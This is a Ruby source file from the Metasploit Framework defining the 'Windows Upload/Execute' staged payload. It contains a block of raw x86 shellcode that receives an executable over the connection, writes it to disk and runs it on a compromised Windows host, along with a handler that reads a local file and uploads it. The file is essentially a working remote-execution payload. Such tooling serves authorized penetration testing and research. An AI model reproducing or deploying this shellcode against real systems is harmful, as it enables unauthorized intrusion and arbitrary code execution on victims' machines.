rapid7/metasploit-framework

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modules/payloads/stages/windows/upexec.rb

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Maintainability
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  include Msf::Payload::Windows
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Windows Upload/Execute',
      'Description'   => 'Uploads an executable and runs it (staged)',
      'Author'        => ['vlad902', 'sf' ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Session'       => Msf::Sessions::CommandShellWindows,
      'PayloadCompat' =>
        {
          'Convention' => 'sockedi udpsockedi -http -https'
        },
      'Stage'         =>
        {
          'Offsets' =>
            {
              'EXITFUNC' => [ 368, 'V' ]
            },
          'Payload' =>
            "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
            "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
            "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
            "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
            "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
            "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
            "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
            "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
            "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
            "\x6A\x7F\x58\xC1\xE0\x03\x29\xC4\x54\x50\x68\x30\xF3\x49\xE4\xFF" +
            "\xD5\x8D\x04\x04\xC7\x00\x73\x76\x63\x2E\xC7\x40\x04\x65\x78\x65" +
            "\x00\x89\xE0\x50\x6A\x00\x6A\x06\x6A\x02\x6A\x00\x6A\x07\x68\x00" +
            "\x00\x00\xE0\x50\x68\xDA\xF6\xDA\x4F\xFF\xD5\x89\xC3\x54\x89\xE6" +
            "\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A" +
            "\x04\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" +
            "\x53\x53\x89\xE1\x6A\x00\x51\x56\x50\x53\x89\xC3\x6A\x00\x56\x53" +
            "\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC" +
            "\x68\x2D\x57\xAE\x5B\xFF\xD5\x59\x68\xC6\x96\x87\x52\xFF\xD5\x57" +
            "\x57\x57\x31\xF6\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01" +
            "\x01\x8D\x44\x24\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E" +
            "\x56\x56\xFF\x74\x24\x78\x56\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0" +
            "\x4E\x56\x46\xFF\x30\x68\x08\x87\x1D\x60\xFF\xD5\x57\x68\x75\x6E" +
            "\x4D\x61\xFF\xD5\xFF\x74\x24\x58\x68\xD7\x2E\xDD\x13\xFF\xD5\xBB" +
            "\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80" +
            "\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
        }
      ))

    register_options(
      [
        OptPath.new('PEXEC', [ true, "Full path to the file to upload and execute" ])
      ])
  end

  #
  # Uploads and executes the file
  #
  def handle_connection_stage(conn, opts={})
    begin
      data = File.binread(datastore['PEXEC'])
    rescue
      print_error("Failed to read executable: #{$!}")

      # TODO: exception
      conn.close
      return
    end

    print_status("Uploading executable (#{data.length} bytes)...")

    conn.put([ data.length ].pack('V'))
    conn.put(data)

    print_status("Executing uploaded file...")

    super
  end
end